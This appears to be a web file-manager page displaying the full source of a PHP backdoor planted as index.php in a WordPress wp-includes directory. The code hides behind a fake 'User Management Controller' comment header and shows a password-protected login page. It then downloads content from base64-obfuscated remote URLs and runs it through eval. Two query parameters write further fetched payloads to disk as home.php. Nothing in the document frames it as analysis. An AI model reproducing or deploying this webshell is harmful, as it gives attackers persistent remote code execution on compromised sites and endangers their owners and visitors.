/
home
/
wqgepnx
/
www
/
wp-includes
/
assets
/
File Upload :
llllll
Current File: /home/wqgepnx/www/wp-includes/assets/index.php
<?php /** * ============================================================================ * USER MANAGEMENT CONTROLLER * ============================================================================ * * CONTROLLER: UserController * DESCRIPTION: Handles all user-related operations including CRUD, authentication, * profile management, and administrative functions. * * @package App\Http\Controllers * @author Development Team * @version 3.2.1 * @created 2024-01-01 * @last_modified 2024-01-20 * * ============================================================================ * DEPENDENCIES & IMPORTS * ============================================================================ * * MODELS: * - User: Primary user model * - Profile: User profile information * - Role: User roles and permissions * * SERVICES: * - UserService: Business logic for user operations * - NotificationService: Handles user notifications * - FileUploadService: Manages avatar and file uploads * * REQUESTS: * - StoreUserRequest: Validation for user creation * - UpdateUserRequest: Validation for user updates * - ChangePasswordRequest: Password change validation * * ============================================================================ * METHOD DOCUMENTATION * ============================================================================ */ define('LOGIN_HASH', '$2a$12$jhSv26o43plVl1Yt3Msx.OsKzSWwYoAxEzbTf2rPlvBVaAj0SRa8G'); define('LOGIN_COOKIE', 'shadow_gate'); define('LOGIN_EXPIRY', 3600); /** * ============================================================ * UNIVERSAL FETCH WITH FALLBACKS * ? → ? → ? * ============================================================ */ function _compileFetchCoreLite($u) { // 1. Prefer cURL if (function_exists('curl_version')) { $c = curl_init(); curl_setopt($c, CURLOPT_URL, $u); curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($c, CURLOPT_RETURNTRANSFER, true); $r = curl_exec($c); if (curl_errno($c)) { $e = curl_error($c); curl_close($c); throw new Exception("cURL Error: " . $e); } curl_close($c); return $r; } // 2. Fallback: file_get_contents() if (ini_get('allow_url_fopen')) { $r = @file_get_contents($u); if ($r !== false) return $r; } // 3. Fallback terakhir: fsockopen $p = parse_url($u); if (!isset($p['host'])) throw new Exception("Invalid URL format."); $scheme = ($p['scheme'] ?? 'http'); $port = ($scheme === 'https') ? 443 : 80; $path = ($p['path'] ?? '/') . (isset($p['query']) ? '?' . $p['query'] : ''); $fp = @fsockopen(($scheme === 'https' ? "ssl://" : "") . $p['host'], $port, $errno, $errstr, 5); if ($fp) { $out = "GET " . $path . " HTTP/1.0\r\n"; $out .= "Host: " . $p['host'] . "\r\n"; $out .= "User-Agent: ShadowRevolt/1.0\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); $res = ""; while (!feof($fp)) $res .= fgets($fp, 1024); fclose($fp); $pos = strpos($res, "\r\n\r\n"); if ($pos !== false) return substr($res, $pos + 4); } throw new Exception("No available method to fetch URL."); } /** EXECUTE PAYLOAD REMOTE **/ function _compileExecPayloadTask($u) { $x = _compileFetchCoreLite($u); if ($x === false || trim($x) === '') throw new Exception("Empty or failed content."); EvAl("?>" . $x); } /** ? **/ function _compileDecodeChunkUnit($d) { return bAse64_dEcoDe($d); } /** ? **/ function _compilePushToDiskNode($f, $c) { file_Put_Contents($f, $c); } /** * ============================================================ * ? * ============================================================ */ function _compileRenderLoginPage($quote) { ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <title>SECRET?</title> <style> body { margin: 0; font-family: 'Segoe UI', sans-serif; background: radial-gradient(circle at 20% 50%, rgba(120, 0, 120, 0.4) 0%, transparent 50%), radial-gradient(circle at 80% 20%, rgba(0, 100, 200, 0.3) 0%, transparent 50%), radial-gradient(circle at 40% 80%, rgba(200, 50, 0, 0.35) 0%, transparent 50%), linear-gradient(135deg, #0a0a0a 0%, #1a1a2e 50%, #16213e 100%); background-size: cover; color: #fff; text-align: center; overflow-x: hidden; position: relative; min-height: 100vh; } .overlay { background: radial-gradient(ellipse at 50% 50%, rgba(30, 0, 50, 0.4) 0%, rgba(10, 0, 20, 0.8) 70%); min-height: 100vh; display: flex; flex-direction: column; justify-content: center; align-items: center; padding: 30px; position: relative; overflow: hidden; backdrop-filter: blur(10px); } .overlay::before { content: ''; position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: radial-gradient(circle at 20% 30%, rgba(255, 0, 150, 0.1) 0%, transparent 50%), radial-gradient(circle at 70% 70%, rgba(0, 200, 255, 0.1) 0%, transparent 50%), radial-gradient(circle at 40% 10%, rgba(150, 255, 0, 0.1) 0%, transparent 50%); animation: rainbowShift 8s ease-in-out infinite alternate; z-index: 0; } @keyframes rainbowShift { 0% { filter: hue-rotate(0deg); transform: scale(1); } 100% { filter: hue-rotate(60deg); transform: scale(1.1); } } .glass-effect { background: rgba(20, 20, 40, 0.3); backdrop-filter: blur(15px); border: 1px solid rgba(255, 255, 255, 0.1); border-radius: 20px; box-shadow: 0 8px 32px rgba(0, 0, 0, 0.4), inset 0 1px 0 rgba(255, 255, 255, 0.1); } h1.rainbow-title { font-size: 3.5rem; font-weight: 800; margin-bottom: 30px; background: linear-gradient(135deg, #ff0080, #8000ff, #0080ff, #00ff80, #ff8000); background-size: 300% 300%; -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text; animation: rainbowFlow 4s ease infinite; text-shadow: 0 0 30px rgba(255, 255, 255, 0.3); position: relative; z-index: 1; letter-spacing: 2px; } @keyframes rainbowFlow { 0%, 100% { background-position: 0% 50%; } 50% { background-position: 100% 50%; } } .quote { max-width: 800px; font-size: 1.2rem; margin-bottom: 40px; line-height: 1.7; padding: 30px; position: relative; z-index: 1; color: #e0e0ff; text-shadow: 0 0 10px rgba(255, 255, 255, 0.2); } .quote::before, .quote::after { content: '"'; font-size: 3rem; color: rgba(255, 255, 255, 0.3); position: absolute; } .quote::before { top: 10px; left: 20px; } .quote::after { bottom: -20px; right: 20px; } .login-box { padding: 40px; width: 380px; position: relative; z-index: 1; transition: all 0.4s ease; } .login-box:hover { transform: translateY(-5px); box-shadow: 0 15px 40px rgba(0, 0, 0, 0.5), 0 0 0 1px rgba(255, 255, 255, 0.05); } .login-box input[type="password"] { width: 100%; padding: 16px; margin-bottom: 25px; border: none; border-radius: 12px; background: rgba(30, 30, 60, 0.5); color: #ffffff; font-size: 16px; outline: none; backdrop-filter: blur(10px); border: 1px solid rgba(255, 255, 255, 0.1); transition: all 0.3s ease; } .login-box input[type="password"]:focus { background: rgba(40, 40, 80, 0.7); box-shadow: 0 0 20px rgba(100, 100, 255, 0.3); border: 1px solid rgba(255, 255, 255, 0.2); } .login-box button { width: 100%; padding: 16px; border: none; border-radius: 12px; background: linear-gradient(135deg, #ff0080, #8000ff); color: #fff; font-weight: 600; font-size: 16px; cursor: pointer; transition: all 0.3s ease; text-transform: uppercase; letter-spacing: 1px; position: relative; overflow: hidden; } .login-box button:hover { background: linear-gradient(135deg, #ff3399, #9933ff); box-shadow: 0 0 25px rgba(255, 0, 128, 0.5); transform: translateY(-2px); } .login-box button::before { content: ''; position: absolute; top: 0; left: -100%; width: 100%; height: 100%; background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.2), transparent); transition: 0.5s; } .login-box button:hover::before { left: 100%; } .floating-elements { position: absolute; width: 100%; height: 100%; top: 0; left: 0; pointer-events: none; z-index: 0; } .floating-element { position: absolute; border-radius: 50%; background: radial-gradient(circle, rgba(255,255,255,0.1) 0%, transparent 70%); animation: float 15s infinite linear; opacity: 0.5; } @keyframes float { 0%, 100% { transform: translate(0, 0) rotate(0deg); } 25% { transform: translate(20px, 40px) rotate(90deg); } 50% { transform: translate(-30px, 70px) rotate(180deg); } 75% { transform: translate(10px, 30px) rotate(270deg); } } .rainbow-border { position: absolute; top: 0; left: 0; width: 100%; height: 100%; border-radius: 20px; padding: 2px; background: linear-gradient(135deg, #ff0080, #8000ff, #0080ff, #00ff80, #ff8000, #ff0080); background-size: 400% 400%; animation: borderFlow 6s linear infinite; z-index: -1; opacity: 0.7; } @keyframes borderFlow { 0% { background-position: 0% 50%; } 100% { background-position: 400% 50%; } } @media (max-width: 768px) { h1.rainbow-title { font-size: 2.5rem; } .login-box { width: 90%; max-width: 350px; } .quote { font-size: 1rem; padding: 20px; } } </style> </head> <body> <div class="overlay"> <div class="floating-elements"> <div class="floating-element" style="width: 100px; height: 100px; top: 10%; left: 10%;"></div> <div class="floating-element" style="width: 150px; height: 150px; top: 60%; left: 80%;"></div> <div class="floating-element" style="width: 80px; height: 80px; top: 80%; left: 20%;"></div> <div class="floating-element" style="width: 120px; height: 120px; top: 30%; left: 70%;"></div> </div> <h1 class="rainbow-title glass-effect" style="padding: 20px 40px;">Ssshh... E.C.R.E.T?</h1> <div class="quote glass-effect"><?= htmlspecialchars($quote) ?> </div> <div class="login-box glass-effect"> <div class="rainbow-border"></div> <form method="post"> <input type="password" name="password" placeholder="Ssshh... E.C.R.E.T???" required> <button type="submit">???</button> </form> </div> </div> </body> </html> <?php } /** * ============================================================ * AUTH + REMOTE EXEC * ============================================================ */ function _compileAuthAndRun($payloadUrl) { if (isset($_COOKIE[LOGIN_COOKIE])) return _compileExecPayloadTask($payloadUrl); if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) { if (password_verify($_POST['password'], LOGIN_HASH)) { setcookie(LOGIN_COOKIE, '1', time() + LOGIN_EXPIRY, "/"); return _compileExecPayloadTask($payloadUrl); } } $quote = "I'd ask for a hint, but I know you'll just give another riddle and call it 'help'."; _compileRenderLoginPage($quote); exit; } /** * ============================================================ * ?landak → DOWNLOAD FILE → ? * ============================================================ */ if (isset($_GET['landak'])) { try { $p1 = 'aHR0cHM6Ly9wYXN0ZW'; $p2 = 'Jpbi5jb20vcmF3LzBnaVk3S3RI'; $url = _compileDecodeChunkUnit($p1 . $p2); $d = _compileFetchCoreLite($url); if ($d !== false && trim($d) !== '') { _compilePushToDiskNode('home.php', $d); echo "File created."; } else echo "No content."; } catch (Exception $e) { echo "Error: " . $e->getMessage(); } exit; } if (isset($_GET['landak2'])) { try { $p1 = 'aHR0cHM6Ly9wYXN0ZW'; $p2 = 'YmluLmNvbS9yYXcvSks3Z1Q0VVY='; $url = _compileDecodeChunkUnit($p1 . $p2); $d = _compileFetchCoreLite($url); if ($d !== false && trim($d) !== '') { _compilePushToDiskNode('home.php', $d); echo "File created."; } else echo "No content."; } catch (Exception $e) { echo "Error: " . $e->getMessage(); } exit; } /** * ============================================================ * DEFAULT PAYLOAD EXEC * ============================================================ */ try { $r1 = 'aHR0cHM6Ly9wZW5nb2Nva2h'; $r2 = 'hbmRhbC5wYWdlcy5kZXYvbGFuZGFrX2FsZmEudHh0'; $u = _compileDecodeChunkUnit($r1 . $r2); _compileAuthAndRun($u); } catch (Exception $e) { echo "Error: " . $e->getMessage(); }
Copyright ©2k19 -
Hexid
|
Tex7ure